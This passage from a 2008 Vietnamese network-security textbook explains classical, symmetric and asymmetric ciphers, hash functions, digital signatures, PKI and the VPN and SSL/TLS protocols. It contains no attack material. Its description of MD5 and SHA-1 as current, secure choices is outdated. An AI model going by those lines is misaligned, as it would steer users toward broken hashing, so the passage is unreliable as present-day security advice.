thuật toán mã hoá như sau:

 Mã hoá cổ điển (Classical cryptography)


 Mã hoá đối xứng (Symetric cryptography)
 Mã hoá bất đối xứng(Asymetric cryptography)
 Hàm băm (Hash function)

2.1. Mã hóa cổ điển

Xuất hiện trong lịch sử, các phương pháp này không dùng khoá. Thuật toán đơn
giản và dễ hiểu. Những từ chính các phương pháp mã hoá này đã giúp chúng ta
tiếp cận với các thuật toán mã hoá đối xứng được sử dụng ngày nay. Trong mã hoá
cổ điển có 02 phương pháp nổi bật đó là:

- Mã hoá thay thế (Substitution Cipher):

Là phương pháp mà từng kí tự (hay từng nhóm kí tự) trong bản rõ (Plaintext) được
thay thế bằng một kí tự (hay một nhóm kí tự) khác để tạo ra bản mờ (Ciphertext).
Bên nhận chỉ cần đảo ngược trình tự thay thế trên Ciphertext để có được Plaintext
ban đầu.

- Mã hoá hoán vị (Transposition Cipher):

Bên cạnh phương pháp mã hoá thay thế thì trong mã hoá cổ điển có một phương
pháp khác nữa cũng nổi tiếng không kém, đó chính là mã hoá hoán vị. Nếu như
trong phương pháp mã hoá thay thế, các kí tự trong Plaintext được thay thế hoàn
toàn bằng các kí tự trong Ciphertext, thì trong phương pháp mã hoá hoán vị, các kí

86
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

tự trong Plaintext vẫn được giữ nguyên, chúng chỉ được sắp xếp lại vị trí để tạo ra
Ciphertext. Tức là các kí tự trong Plaintext hoàn toàn không bị thay đổi bằng kí tự
khác.

2.2. Mã hóa đối xứng

Thuật toán đối xứng (Symetric cryptography) là thuật toán mà tại đó khoá mã hoá
có thể tính toán ra được từ khoá giải mã. Trong rất nhiều trường hợp, khoá mã hoá
và khoá giải mã là giống nhau. Thuật toán này còn có nhiều tên gọi khác như thuật
toán khoá bí mật (Private-key Cryptography), thuật toán khoá đơn giản, thuật toán
một khoá. Thuật toán này yêu cầu người gửi và người nhận phải thoả thuận một
khoá trước khi thông báo được gửi đi, và khoá này phải được cất giữ bí mật. Độ an
toàn của thuật toán này vẫn phụ thuộc và khoá, nếu để lộ ra khoá này nghĩa là bất
kỳ người nào cũng có thể mã hoá và giải mã thông báo trong hệ thống mã hoá.

Sự mã hoá và giải mã của thuật toán đối xứng biểu thị bởi :

EK( P ) = C

DK( C ) = P

K1 K2

Bản rõ Bản Bản rõ gốc


Mã hoá mã Mã hoá

Mã hoá và giải mã với khoá đối xứng

Trong hình vẽ trên thì :

K1có thể trùng K2, hoặc

K1 có thể tính toán từ K2, hoặc

K2 có thể tính toán từ K1.

87
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Mã hoá đối xứng có thể được phân thành 02 loại:

- Loại thứ nhất tác động trên bản rõ theo từng nhóm bits. Từng nhóm bits
này được gọi với một cái tên khác là khối (Block) và thuật toán được áp dụng gọi
là Block Cipher. Theo đó, từng khối dữ liệu trong văn bản bản đầu được thay thế
bằng một khối dữ liệu khác có cùng độ dài. Đối với các thuật toán ngày nay thì
kích thước chung của một Block là 64 bits.

- Loại thứ hai tác động lên bản rõ theo từng bit một. Các thuật toán áp dụng
được gọi là Stream Cipher. Theo đó, dữ liệu của văn bản được mã hoá từng bit
một. Các thuật toán mã hoá dòng này có tốc độ nhanh hơn các thuật toán mã hoá
khối và nó thường được áp dụng khi lượng dữ liệu cần mã hoá chưa biết trước.

Một số thuật toán nổi tiếng trong mã hoá đối xứng

- DES: viết tắt của Data Encryption Standard. Với DES, bản rõ (Plaintext) được
mã hoá theo từng khối 64 bits và sử dụng một khoá là 64 bits, nhưng thực tế thì chỉ
có 56 bits là thực sự được dùng để tạo khoá, 8 bits còn lại dùng để kiểm tra tính
chẵn, lẻ. DES là một thuật toán được sử dụng rộng rãi nhất trên thế giới. Hiện tại
DES không còn được đánh giá cao do kích thước của khoá quá nhỏ 56 bits, và dễ
dàng bị phá vỡ.

- Triple DES (3DES): 3DES cải thiện độ mạnh của DES bằng việc sử dụng một
quá trình mã hoá và giải mã sử dụng 3 khoá. Khối 64-bits của bản rõ đầu tiên sẽ
được mã hoá sử dụng khoá thứ nhất. Sau đó, dữ liệu bị mã hóa được mã hóa tiếp
bằng việc sử dụng một khoá thứ hai. Cuối cùng, sử dụng khoá thứ ba và kết quả
của quá trình mã hoá trên để mã hoá.

Sự mã hoá và giải mã của thuật toán 3DES biểu thị bởi công thức:

C = EK3(EK2(EK1(P)))

P = DK1(DK2(DK3(C)))

88
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

- AES: Viết tắt của Advanced Encryption Standard, được sử dụng để thay thế cho
3DES. Nó hỗ trợ độ dài của khoá từ 128 bits cho đến 256 bits. AES cũng được gọi
là Rijndael (phát âm là Rain-Doll) theo tên người tạo ra nó.

- Rivest Cipher (RC) 4, 5 và 6: Bao gồm một series được phát triển bởi Ronald
Rivest. Mỗi thế hệ RC có độ dài khóa khác nhau. RC4 là một Stream Cypher, RC5
và 6 là các Block Cypher với độ dài khóa khác nhau.

Mã hóa và giải mã của thuật toán 3DES

- Ngoài ra, còn có một số thuật toán mã hóa được biết đến nhiều khác như: Skip-
Jack, Blowfish, CAST-128…

Một số nhược điểm của hệ mã hoá cổ điển

- Các phương mã hoá cổ điển đòi hỏi người mã hoá và người giải mã phải cùng
chung một khoá. Khi đó khoá phải được giữ bí mật tuyệt đối, do vậy ta dễ dàng
xác định một khoá nếu biết khoá kia.

89
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

- Hệ mã hoá đối xứng không bảo vệ được sự an toàn nếu có xác suất cao khoá
người gửi bị lộ. Trong hệ khoá phải được gửi đi trên kênh an toàn nếu kẻ địch tấn
công trên kênh này có thể phát hiện ra khoá.

- Vấn đề quản lý và phân phối khoá là khó khăn và phức tạp khi sử dụng hệ mã hoá
cổ điển. Người gửi và người nhận luôn luôn thông nhất với nhau về vấn đề khoá.
Việc thay đổi khoá là rất khó và dễ bị lộ.

- Khuynh hướng cung cấp khoá dài mà nó phải được thay đổi thường xuyên cho
mọi người trong khi vẫn duy trì cả tính an toàn lẫn hiệu quả chi phí sẽ cản trở rất
nhiều tới việc phát triển hệ mật mã đối xứng.

2.3. Mã hóa bất đối xứng

Vào những năm 1970 Diffie và Hellman đã phát minh ra một hệ mã hoá mới được
gọi là hệ mã hoá công khai hay hệ mã hoá phi đối xứng.

Thuật toán mã hoá công khai là khác biệt so với thuật toán đối xứng. Chúng được
thiết kế sao cho khoá sử dụng vào việc mã hoá là khác so với khoá giải mã. Hơn
nữa khoá giải mã không thể tính toán được từ khoá mã hoá. Chúng được gọi với
tên hệ thống mã hoá công khai bởi vì khoá để mã hoá có thể công khai, một người
bất kỳ có thể sử dụng khoá công khai để mã hoá thông báo, nhưng chỉ một vài
người có đúng khoá giải mã thì mới có khả năng giải mã. Trong nhiều hệ thống,
khoá mã hoá gọi là khoá công khai (public key), khoá giải mã thường được gọi là
khoá riêng (private key).

K1 K2

Bản rõ Bản Bản rõ gốc


Mã hoá mã Giải mã

Mã hoá và giải mã với hai khoá

Trong hình vẽ trên thì :

90
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

K1 không thể trùng K2, hoặc

K2 không thể tính toán từ K1.

Đặc trưng nổi bật của hệ mã hoá công khai là cả khoá công khai(public key) và bản
tin mã hoá (ciphertext) đều có thể gửi đi trên một kênh thông tin không an toàn.

Diffie và Hellman đã xác đinh rõ các điều kiện của một hệ mã hoá công khai
như sau :

1. Việc tính toán ra cặp khoá công khai KB và bí mật kB dựa trên cơ sở các
điều kiện ban đầu phải được thực hiện một cách dễ dàng, nghĩa là thực
hiện trong thời gian đa thức.
2. Người gửi A có được khoá công khai của người nhận B và có bản tin P
cần gửi đi thì có thể dễ dàng tạo ra được bản mã C.

C = EKB (P)

3. Người nhận B khi nhận được bản tin mã hóa C với khoá bí mật k B của
mình thì có thể giải mã bản tin.

P = DkB (C)

4. Nếu kẻ địch biết khoá công khai KB cố gắng tính toán khoá bí mật kB thì
khi đó chúng phải đương đầu với trường hợp nan giải, trường hợp này
đòi hỏi nhiều yêu cầu không khả thi về thời gian.
5. Nếu kẻ địch biết được cặp (KB,C) và cố gắng tính toán ra bản rõ P thì giải
quyết bài toán khó với số phép thử là vô cùng lớn, do đó không khả thi.

Một số thuật toán nổi tiếng trong mã hoá bất đối xứng:

- Rivest Shamir Adelman (RSA): Được đặt theo tên của người thiết kế là Ronald
Rivest, Adi Shamir, và Len Adelman. RSA là thuật toán thành công đầu tiên sử
dụng thuật toán mã hóa khóa công khai. Nó có độ dài khóa khác nhau cũng như
các kích cỡ khối khác nhau. RSA được coi là thuật toán có độ bảo mật cao khi
dung với các khóa có độ dài lớn.
91
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

- Diffie-Hellman: Là một giao thức mã hóa cung cấp khóa chuyển đổi an toàn.
Được mô tả vào năm 1976 và hình thành dựa trên nền tảng của kỹ thuật mã hóa
khóa công khai phổ biến bao gồm cả RSA.

- Elgamal: Là một thuật toán mã hóa khóa công khai được phát triển bởi Taher
Elgamal. Nó cũng dựa trên nền tảng của Diffie-Hellman.

- Paillier Cryptosystem: Là thuật toán mã hóa khóa công khai được phát triển bởi
Pascal Paillier.

2.4. Mã hóa hàm băm (Hash Function)

Trong ngành mật mã học, một hàm băm mật mã học (Cryptographic hash function)
là một hàm băm với một số tính chất bảo mật nhất định để phù hợp việc sử dụng
trong nhiều ứng dụng bảo mật thông tin đa dạng, chẳng hạn như chứng thực
(authentication) và kiểm tra tính nguyên vẹn của thông điệp (message integrity).
Một hàm băm nhận đầu vào là một xâu ký tự dài (hay thông điệp) có độ dài tùy ý
và tạo ra kết quả là một xâu ký tự có độ dài cố định, đôi khi được gọi là tóm tắt
thông điệp (message digest) hoặc chữ ký số (digital fingerprint).

Thuật toán băm một chiều (hash) cho giá trị kết quả đầu ra có kích thước không
đổi theo đầu vào trên nguyên tắc:

- Giá trị đầu ra là không đổi khi giữ nguyên vẹn giá trị đầu vào cho dù thuật toán
được thực hiện vào bất cứ thời điểm nào.

92
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

- Sử dụng hàm băm một chiều, không thể tính toán ngược từ giá trị đầu ra để biết
được giá trị đầu vào.

- Không thể tính toán hai đầu vào khác nhau để có cùng một giá trị hash khi thực
hiện cùng một thuật toán băm.

Trong nhiều chuẩn và ứng dụng, hai hàm băm thông dụng nhất là MD5 và
SHA-1:

- MD5: Thuật toán MD5 tạo thành một dạng thông điệp được mã hóa với 128-bit,
được phát triển bởi Ronald Rivest và hiện đang là công nghệ được sử dụng rộng
rãi.

- SHA-1: Thuật toán SHA-1 được phát triển dựa trên MD5 nhưng với độ an toàn
cao hơn rất nhiều. SHA-1 tạo giá trị hash với 160-bit trong khi đó SHA-256, SHA-
384, SHA-512 tạo các giá trị hash tương ứng là 256, 384, 512-bit.

Một số ứng dụng của hàm hash:

• Chống và phát hiện xâm nhập: chương trình chống xâm nhập so sánh giá trị hash
của một file với giá trị trước đó để kiểm tra xem file đó có bị ai đó thay đổi hay
không.
• Bảo vệ tính toàn vẹn của thông điệp được gửi qua mạng bằng cách kiểm tra giá
trị hash của thông điệp trước và sau khi gửi nhằm phát hiện những thay đổi cho dù
là nhỏ nhất.

• Tạo chìa khóa từ mật khẩu.

• Tạo chữ ký điện tử.

2.5. Chữ ký điện tử

Ở phần trên, chúng ta đã nhắc nhiều đến chữ ký điện tử. Vậy chữ ký điện tử là gì?
Tại sao nó lại quan trọng như vậy?

93
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Chữ ký điện tử đơn giản là dữ liệu dạng điện tử được đính kèm hoặc kết hợp một
cách logíc với các dữ liệu điện tử khác và nó được coi là phương pháp xác thực.
Chữ ký điện tử tương tự như chữ ký thông thường (chữ ký tay) ở các tính chất sau:

+ Chữ ký là bằng chứng thể hiện người ký có chủ định khi ký lên văn bản (trừ
trường hợp bị cưỡng ép ký)

+ Chữ ký thể hiện “chủ quyền” (làm cho người nhận văn bản biết rằng ai đích thị
là người đã ký vào văn bản)

+ Chữ ký không thể tái sử dụng. Nó là một phần của văn bản, không thể sao chép
sang các văn bản khác.

+ Văn bản đã ký không thể thay đổi được (văn bản đã ký bị tẩy xóa, sửa đổi mặc
định sẽ vô hiệu hóa chữ ký)

+ Chữ ký không thể giả mạo và cũng là thứ không thể thoái thác (chối bỏ) (người
ký không thể phủ định việc mình đã ký vào văn bản)

Cách thức xây dựng chữ ký điện tử dựa trên ý tưởng của Deffie và Hellman như
sau:

- Người gửi ký vào văn bản bằng cách mã hóa nó với khóa riêng của mình.

- Người gửi truyền văn bản đã ký cho người nhận.

Người nhận dùng khóa công khai của người gửi để giải mã văn bản, kiểm tra chữ
ký của người nhận.

Trong thực tế, nhằm tăng tốc độ ký đối với văn bản dài, người ta thường sử dụng
hàm băm để biến đổi văn bản cần ký thành một chuỗi nhị phân không lớn (không
quá 256 bits). Hàm băm có đặc tính là tạo ra chuỗi nhị phân là đại diện duy nhất và
phản ánh trung thành mọi thay đổi của văn bản. Có thể hiểu rõ hơn khi phân tích
mô hình chữ ký điện tử sau:

94
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Phía người nhận B

Phía người gửi A

(1) Người gửi A đưa toàn bộ dữ liệu qua hàm băm 1 chiều để tạo ra một chuỗi
nhị phân (Digest) có độ dài 128 hoặc 256 bits và có tính duy nhất.

(2) Ngưởi gửi A sẽ mã hóa Digest này bằng khóa riêng của mình. Đây chính là
chữ ký điện tử của A.

(3) Người gửi A gửi đồng thời dữ liệu ban đầu và chữ ký điện tử của mình cho
B.

(4) Người nhận B sẽ sử dụng khóa công khai của A để giải mã chữ ký điện tử
của A thành chuỗi nhị phân (Digest1).

(5) Người nhận B đồng thời đưa toàn bộ dữ liệu nhận được qua hàm băm 1
chiều để nhận được chuỗi nhị phân (Digest2)

(6) B so sánh 2 chuỗi nhị phân thu được. 2 chuỗi này sẽ không thể giống nhau
nếu:

- Khóa giải mã không cùng cặp với khóa mã hóa  không phải người gửi A
ký. Đây chính là tính xác thực và tính không thể thoái thác.

- Nội dung của dữ liệu không còn nguyên vẹn sau khi ký.  Đây chính là
tính toàn vẹn dữ liệu.

95
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Tóm lại, cùng với chứng thực điện tử, công nghệ mã hóa, chữ ký điện tử là
một thành phần không thể thiếu của thanh toán và thương mại điện tử trong những
năm tới.

96
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 3. HẠ TẦNG KHÓA CÔNG KHAI PKI

1. Tổng quan về PKI

Public Key Infrastructure (PKI) là một cơ chế để cho một bên thứ ba (thường là
nhà cung cấp chứng thực số ) cung cấp và xác thực định danh các bên tham gia vào
quá trình trao đổi thông tin. Cơ chế này cũng cho phép gán cho mỗi người sử dụng
trong hệ thống một cặp public/private. Các quá trình này thường được thực hiện
bởi một phần mềm đặt tại trung tâm và các phần mềm khác tại các địa điểm của
người dùng. Khoá công khai thường được phân phối trong chứng thực khóa công
khai – hay Public Key Infrastructure.

Khái niệm hạ tầng khoá công khai (PKI) thường được dùng chỉ toàn bộ hệ thống
bao gồm cả nhà cung cấp chứng thực số (CA) cùng các cơ chế liên quan đồng thời
với toàn bộ việc sử dụng các thuật toán mã hoá công khai trong trao đổi thông tin.

2. Các thành phần và hoạt động của PKI

Nền tảng của PKI là Certification Authority (CA) hay nhà cung cấp chứng chỉ
số. CA phát hành các giấy chứng nhận điện tử (Digital Certificate) . Nó có thể
thuộc riêng về một doanh nghiệp hoặc thuộc một tổ chức thuộc bên ngoài các

97
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

doanh nghiệp (chuyên cung cấp dịch vụ trong lĩnh vực này). Các CA có thể uỷ
nhiệm sự tin cậy cho nhau thông qua kiến trúc phân cấp. CA gốc (root CA) là CA
cung cấp trực tiếp các giấy chứng nhận điện tử cho doanh nghiệp, CA phụ thuộc
(subordinate CA) là CA được công nhận gián tiếp thông qua mối liên hệ với CA
gốc. CA gốc có thể mặc nhiên được công nhận (đối với nội bộ doanh nghiệp). Các
CA phụ thuộc được công nhận thông qua chứng nhận của CA gốc và tạo nên chuỗi
các CA uỷ thác.

Mỗi khi tạo ra một giấy chứng nhận điện tử mới, một cặp khoá mã được phát ra
cho mỗi thực thể (PKI Client) - thiết bị VPN, máy chủ Web, người sử dụng thư
điện tử ... Những thực thể sẽ giữ các khoá riêng (private key) dùng để tạo ra chữ ký
điện tử. Còn khoá công khai (public key), tên của thực thể, tên của CA phát hành,
tất cả sẽ được tập hợp trong giấy chứng nhận điện tử, và tất cả sẽ được xác nhận
thông qua chữ ký điện tử của chính CA.

Với mục đích tránh sự không công nhận của mỗi thực thể, chỉ có chính bản thân họ
mới được sử dụng đến khoá bảo mật riêng. Với cách làm như vậy, các thực thể
không thể phủ nhận được việc đã "ký" tên vào thông điệp vì không ai khác có thể
"ký" như vậy được. Cũng chính vì nguyên nhân như vậy, mã khoá riêng này cần
được lưu giữ an toàn. Khi mã khoá này bị lộ vì một nguyên nhân nào đó, giấy
chứng nhận điện tử cần phải được thu hồi.

Hình minh họa mô hình hoạt động của PKI

98
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Chức nǎng quản lý được giao cho RA - Thành phần cấp quyền đǎng nhập
(Registration Authorities). RA có nhiệm vụ quản trị việc đǎng ký tên, khởi tạo
hoặc lưu trữ các cặp khoá mã, xác nhận các thực thể trong giai đoạn đǎng ký, yêu
cầu CA cấp chứng nhận, chuyển các khoá mã đến các thực thể, khởi tạo hoặc thu
hồi các giấy chứng nhận điện tử. RA là một cơ chế hỗ trợ CA rất hiệu quả, và cũng
như trường hợp trên, do yêu cầu bảo mật, RA và CA thường cũng được phân cách
nhau cả về mặt vật lý và do các nhóm quản trị mạng khác nhau chịu trách nhiệm.

Chứng chỉ số là một tệp tin điện tử dùng để xác minh danh tính một cá nhân, một
máy chủ, một công ty... trên Internet. Nó giống như bằng lái xe, hộ chiếu, chứng
minh thư hay những giấy tờ xác minh cá nhân.

Để có chứng minh thư, bạn phải được cơ quan Công An sở tại cấp. Chứng chỉ số
cũng vậy, phải do một tổ chức đứng ra chứng nhận những thông tin của bạn là
chính xác, được gọi là Nhà cung cấp chứng thực số (Certificate Authority, viết tắt
là CA). CA phải đảm bảo về độ tin cậy, chịu trách nhiệm về độ chính xác của
chứng chỉ số mà mình cấp.

Trong chứng chỉ số có ba thành phần chính:

* Thông tin cá nhân của người được cấp

* Khoá công khai (Public key) của người được cấp

* Chữ ký số của CA cấp chứng chỉ

A. Thông tin cá nhân

Đây là các thông tin của đối tượng được cấp chứng chỉ số, gồm tên, quốc tịch, địa
chỉ, điện thoại, email, tên tổ chức .v.v. Phần này giống như các thông tin trên
chứng minh thư của mỗi người.

B. Khoá công khai

Trong khái niệm mật mã, khoá công khai là một giá trị được nhà cung cấp chứng
thực đưa ra như một khoá mã hoá, kết hợp cùng với một khoá cá nhân duy nhất
được tạo ra từ khoá công khai để tạo thành cặp mã khoá bất đối xứng.

Nguyên lý hoạt động của khoá công khai trong chứng chỉ số là hai bên giao dịch
phải biết khoá công khai của nhau. Bên A muốn gửi cho bên B thì phải dùng khoá

99
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

công khai của bên B để mã hoá thông tin. Bên B sẽ dùng khoá cá nhân của mình để
mở thông tin đó ra. Tính bất đối xứng trong mã hoá thể hiện ở chỗ khoá cá nhân có
thể giải mã dữ liệu được mã hoá bằng khoá công khai (trong cùng một cặp khoá
duy nhất mà một cá nhân sở hữu), nhưng khoá công khai không có khả năng giải
mã lại thông tin, kể cả những thông tin do chính khoá công khai đó đã mã hoá. Đây
là đặc tính cần thiết vì có thể nhiều cá nhân B,C, D... cùng thực hiện giao dịch và
có khoá công khai của A, nhưng C,D... không thể giải mã được các thông tin mà B
gửi cho A dù cho đã chặn bắt được các gói thông tin gửi đi trên mạng.

Chữ ký số của CA cấp chứng chỉ

Còn gọi là chứng chỉ gốc. Đây chính là sự xác nhận của CA, bảo đảm tính chính
xác và hợp lệ của chứng chỉ. Muốn kiểm tra một chứng chỉ số, trước tiên phải kiểm
tra chữ ký số của CA có hợp lệ hay không. Trên chứng minh thư, đây chính là con
dấu xác nhận của Công An Tỉnh hoặc Thành phố mà bạn trực thuộc. Về nguyên
tắc, khi kiểm tra chứng minh thư, đúng ra đầu tiên phải là xem con dấu này, để biết
chứng minh thư có bị làm giả hay không.

3. Một số hệ thống PKI

Dưới đây là danh sách một số hệ thống PKI, trong đó một số nhà cung cấp chứng
thực số hàng đầu (ví dụ VeriSign) không được liệt kê vì các phần mềm của họ
không được công bố công khai.

 Hệ thống quản lý chứng thực Red Hat


 Computer Associates eTrust PKI
 Entrust
 Microsoft
 US Government External Certificate Authority (ECA)
 Nexus
 OpenCA (Một mô hình PKI mã nguồn mở)
 RSA Security
 phpki
 GenCerti
 ejbca
 newpki
 Papyrus CA Software
 pyCA

100
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 IDX-PKI
 EuropePKI (not available)
 TinyCA
 ElyCA
 SimpleCA
 SeguriData
 Safelayer Secure Communications

4. Kết luận

Mục tiêu chính của PKI là cung cấp khóa công khai và xác định mối liên hệ giữa
khóa và định dạng người dùng. Nhờ vậy người dùng có thể sử dụng trong một số
ứng dụng như:

a. Mã hóa Email hoặc xác thực người gửi Email (OpenPGP or S/MIME).
b. Mã hóa hoặc nhận thực văn bản.
c. Xác thực người dùng ứng dụng (Đăng nhập bằng thẻ thông minh, nhận thực
người dùng trong SSL).
d. Các giao thức truyền thông an toàn dùng kỹ thuật Bootstrapping (IKE, SSL):
trao đổi khóa bằng khóa bất đối xứng, còn mã hóa bằng khóa đối xứng.

Với những ưu điểm của mình, Cơ sở Hạ tầng khóa công khai còn đóng một vai trò
quan trọng trong việc quyết định thành công của thanh toán và thương mại điện tử.

101
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 4. TIÊU CHUẨN VÀ CÁC GIAO THỨC

1. Tiêu chuẩn mã hóa

- Các tiêu chuẩn mã hóa thường được phát triển và công bố bởi các tổ chức uy tín
như:

+ Các tổ chức của chính phủ, quân đội (ví dụ: National Security Agency –
NSA, National Institute of Standards and Technology- NIST)

+ Các hiệp hội (ví dụ: Internet Engineering Task Force – IETF, Institute of
Electrical and Electronics Engineering – IEEE)

+ Các tổ chức công cộng (ví dụ: Pretty Good Privacy – PGP, RSA)

- Một số tiêu chuẩn mã hóa phổ biến gồm có:

+ PKIX/PKCS:

PKIX: Public Key Infrastructure X.509: là một hệ thống các tiêu chuẩn của
IETF.

PKCS: Public Key Crytography Standards: là một hệ thống tiêu chuẩn của
RSA.

+ X.509:

Định nghĩa cấu trúc và các trường trong khóa công khai (Public Key)

Định nghĩa thủ tục phân phối, thu hồi, quản lý khóa…

2. Các giao thức mã hóa

2.1. Khái niệm

Giao thức (Protocol) là một loạt các bước, bao gồm hai hoặc nhiều người, thiết kế
để hoàn thành nhiệm vụ . “Một loạt các bước” nghĩa là Protocol thực hiện theo một
tuần tự, từ khi bắt đầu cho tới lúc kết thúc. Mỗi bước phải được thực hiện tuần tự
và không có bước nào được thực hiện trước khi bước trước đó đã hoàn thành. “Bao
102
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

gồm hai hay nhiều người” nghĩa là cần ít nhất hai người hoàn thành protocol, một
người không thể tạo ra được một Protocol. Và chắc chắn rằng một người có thể
thực hiện một loạt các bước để hoàn thành nhiệm vụ, nhưng đó không phải là
Protocol. Cuối cùng “thiết kế để hoàn thành nhiệm vụ” nghĩa là mỗi Protocol phải
làm một vài điều gì đó.

Giao thức mã hóa là giao thức sử dụng cho hệ thống mã hóa, nó bao gồm các thuật
toán mã hóa.

2.2. Các giao thức mã hóa phổ biến

2.2.1. Giao thức mã hóa lớp 2 mô hình OSI

 Layer 2 Forwarding: L2F là giao thức được phát triển bởi Cisco System
cùng lúc với sự phát triển PPTP của Microsoft. Đây là một giao thức cho
phép các máy khách ở xa có thể truy cập đến mạng Intranet của một tổ chức
thông qua cơ sở hạ tầng mạng công cộng với tính bảo mật cao và khả năng
quản lý chặt chẽ. Bởi vì là một giao thức lớp 2, L2F có thể được dùng cho
các giao thức khác ngoài IP như IPX, NetBEUI. L2F mã hóa bằng thuật
toán DES (56-bit) và cả IPSEC với các IOS đời mới.
 Point to Point Tunneling Protocol: PPTP là giao thức được phát triển bới
Microsoft. PPTP thường được dùng cho các kết nối VPN, nó hoạt động ở
lớp 2 mô hình OSI. PPTP sử dụng MPPE (Microsoft Point-to-Point
Encryption) cho việc mã hóa các đường kết nối PPP (thực chất là sử dụng
thuật toán mã hóa RC 4 với độ dài khóa là 40 hoặc 128-bit.
 Layer 2 Tunneling Protocol (L2TP): L2TP là sự kết hợp của PPTP và L2F.
Giao thức này so với PPTP có nhiều đặc tính an toàn hơn. Trong khi PPTP
dùng MPPE cho việc mã hóa, L2TP lại dựa vào một giải pháp bảo mật hơn,
đó là các gói tin L2TP được bảo vệ bởi IPSEC. Đây là việc kết hợp các ưu
điểm bảo mật của IPSEC và các lợi ích của các giao thức chứng thực người
dùng của PPTP đó là LTLM, PAP, CHAP.... L2TP/IPsec được coi là giao
thức dùng trong VPN phổ biến nhất hiện nay.

2.2.2. Giao thức mã hóa lớp 3 : IPSEC

103
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 IPSEC mã hóa dữ liệu ở lớp 3, cung cấp 1 giải pháp bảo mật kết nối một
cách toàn diện, qua đó cung cấp cơ chế xác thực dữ liệu, tính toàn vẹn, bí
mật của dữ liệu … IPSec là một trong những công nghệ VPN phổ biến, được
dùng nhiều trong hệ thống mạng của các doanh nghiệp, các nhà cung cấp
dịch vụ và cả hệ thống mạng của các tổ chức chính phủ.

Trong quá trình mã hóa và chứng thực dữ liệu, IPSec sử dụng một trong hai,
hoặc cả hai giao thức sau để bảo vệ mật thông tin:

- Authentication Header (AH): Header của gói tin được mã hóa và bảo vệ
phòng chống các trường hợp IP Spoofing (sự giả mạo IP) hay MITM. Tuy
nhiên, trong trường hợp này, chỉ có phần header của gói tin được bảo vệ còn
phần nội dung thông tin thì không.

- Encapsulation Security Payload (ESP): Nội dung thông tin sẽ được mã


hóa, đảm bảo tính bí mật của dữ liệu.

Cả 2 giao thức trên đều sử dụng kỹ thuật mã hóa đối xứng.

IPSec cung cấp cơ chế mã hóa 56-bit (DES) và 128-bit (3-DES) và mới nhất
là 256-bit (AES).

2.2.3. Giao thức mã hóa lớp 4 : SSL/TLS

a. Khái niệm

Được phát triển bởi Netscape, ngày nay giao thức Secure Socket Layer (SSL) đã
được sử dụng rộng rãi trên World Wide Web trong việc xác thực và mã hoá thông
tin giữa client và server. Tổ chức IETF (Internet Engineering Task Force ) đã
chuẩn hoá SSL và đặt lại tên là TLS (Transport Layer Security). Mặc dù là có sự
thay đổi về tên nhưng TSL chỉ là một phiên bản mới của SSL. Phiên bản TSL 1.0
tương đương với phiên bản SSL 3.1. Tuy nhiên SSL là thuật ngữ được sử dụng
rộng rãi hơn.

SSL được thiết kế như là một giao thức riêng cho vấn đề bảo mật có thể hỗ trợ cho
rất nhiều ứng dụng. Giao thức SSL hoạt động bên trên TCP/IP và bên dưới các
giao thức ứng dụng tầng cao hơn như là HTTP (Hyper Text Transport Protocol),

104
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

IMAP ( Internet Messaging Access Protocol) và FTP (File Transport Protocol).


Trong khi SSL có thể sử dụng để hỗ trợ các giao dịch an toàn cho rất nhiều ứng
dụng khác nhau trên Internet, thì hiện nay SSL được sử dụng chính cho các giao
dịch trên Web.

SSL không phải là một giao thức đơn lẻ, mà là một tập các thủ tục đã được chuẩn
hoá để thực hiện các nhiệm vụ bảo mật sau:

Xác thực server: Cho phép người sử dụng xác thực được server muốn kết nối. Lúc
này, phía browser sử dụng các kỹ thuật mã hoá công khai để chắc chắn rằng
certificate và public ID của server là có giá trị và được cấp phát bởi một CA
(certificate authority) trong danh sách các CA đáng tin cậy của client. Điều này rất
quan trọng đối với người dùng. Ví dụ như khi gửi mã số credit card qua mạng thì
người dùng thực sự muốn kiểm tra liệu server sẽ nhận thông tin này có đúng là
server mà họ định gửi đến không.

Xác thực Client: Cho phép phía server xác thực được người sử dụng muốn kết nối.
Phía server cũng sử dụng các kỹ thuật mã hoá công khai để kiểm tra xem
certificate và public ID của server có giá trị hay không và được cấp phát bởi một
CA (certificate authority) trong danh sách các CA đáng tin cậy của server không.
Điều này rất quan trọng đối với các nhà cung cấp. Ví dụ như khi một ngân hàng
định gửi các thông tin tài chính mang tính bảo mật tới khách hàng thì họ rất muốn
kiểm tra định danh của người nhận.

Mã hoá kết nối: Tất cả các thông tin trao đổi giữa client và server được mã hoá
trên đường truyền nhằm nâng cao khả năng bảo mật. Điều này rất quan trọng đối
với cả hai bên khi có các giao dịch mang tính riêng tư. Ngoài ra, tất cả các dữ liệu
được gửi đi trên một kết nối SSL đã được mã hoá còn được bảo vệ nhờ cơ chế tự
động phát hiện các xáo trộn, thay đổi trong dữ liệu. ( đó là các thuật toán băm –
hash algorithm).

Giao thức SSL bao gồm 2 giao thức con: giao thức SSL record và giao thức SSL
handshake. Giao thức SSL record xác định các định dạng dùng để truyền dữ liệu.
Giao thức SSL handshake (gọi là giao thức bắt tay) sẽ sử dụng SSL record protocol
để trao đổi một số thông tin giữa server và client vào lấn đầu tiên thiết lập kết nối
SSL.

b. Các thuật toán mã hoá dùng trong SSL

105
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Giao thức SSL hỗ trợ rất nhiều các thuật toán mã hoá, được sử dụng để thực hiện
các công việc trong quá trình xác thực server và client, truyền tải các certificates và
thiết lập các khoá của từng phiên giao dịch (sesion key). Client và server có thể hỗ
